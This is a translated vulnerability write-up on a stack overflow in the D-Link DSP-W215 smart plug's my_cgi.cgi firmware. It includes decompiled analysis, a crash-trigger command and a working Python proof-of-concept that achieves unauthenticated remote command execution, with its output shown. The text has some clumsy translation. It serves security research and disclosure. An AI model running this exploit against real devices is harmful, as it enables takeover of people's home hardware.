Hack D-Link DSP-W215 Smart Plug. Again

Original author: Craig
  • Transfer
image
Recently, D-Link released firmware v1.02 for DSP-W215, in which the HNAP bug with buffer overflow in my_cgi.cgi was fixed. Although they quickly removed the firmware from the site: “You can update the firmware through a mobile application”, I managed to download it before my flight to Munich, and the 8-hour flight provided me with enough time for a qualitative analysis of the new firmware version.

Unfortunately, a bug with HNAP was not the only problem with this device. The lighttpd configuration file shows us that my_cgi.cgi is used to process some pages, not just HNAP requests:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)


The main function in my_cgi.cgi has two code branches: one for processing HNAP requests, and the other for everything else:
image

If the HTTP request was not HNAP (for example, /common/info.cgi) and if it was a POST request, then in this case, my_cgi.cgi receives some HTTP headers, including Content-Length:
image

If Content-Length is greater than zero, then the get_input_entries function is called, which is responsible for reading and parsing POST parameters:
image

The get_input_entries function takes two arguments: pointer to the entries structure and the size of the POST data (ie Content-Length):
struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};
// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);


This is somewhat suspicious, as the parameter is passed to get_input_entries directly from the Content-Length header that was specified in the HTTP request, and the structure pointer points to a local variable on the stack in the main function:
int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes
content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));
num_entries = get_input_entries(&my_entries, content_length);


Of course, get_input_entries comprises a ring having fgetc (substantially the same as that caused HNAP-vulnerability) which parses the POST-request (names and values), and stores them in the «entries» structure:
image
Cycle fgetc

image
fgetc (stdin) within the loop for

image
Value the fgetc read is stored in name / value in the “entries” structure,

because the entries structure, in our case, is a stack variable in main, an excessively long POST value will cause the stack to overflow in get_input_entries, and, accordingly, in main.

In order to avoid a crash before returning to main (more on this in the next post), we need to exit the get_input_entries function as soon as possible. The easiest way to do this is by passing a single POST parameter “storage_path”, because the code in get_input_entries is skipped if this parameter occurs:
image

If we look at the main stack, we will see that the beginning of the “entries” structure is 0 × 74944 bytes further from the return address on the stack:
image

Due to the fact that the names from POST- The request is allocated 36 bytes in the structure, a POST value of 477472 (0 × 74944-36) bytes will overflow everything on the stack to the stored return address:
# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi

image
$ ra is overwritten with the value 0 × 41414141

Now we control $ ra, which means we can return to the same system () call that we used in the HNAP overflow in order to execute arbitrary commands:
image
the system () call at 0x00405CEC

Here is PoC:
#!/usr/bin/env python
import sys
import urllib2
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s " % sys.argv[0]
    sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()


Which works great with the latest firmware version:
./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www

Also popular now: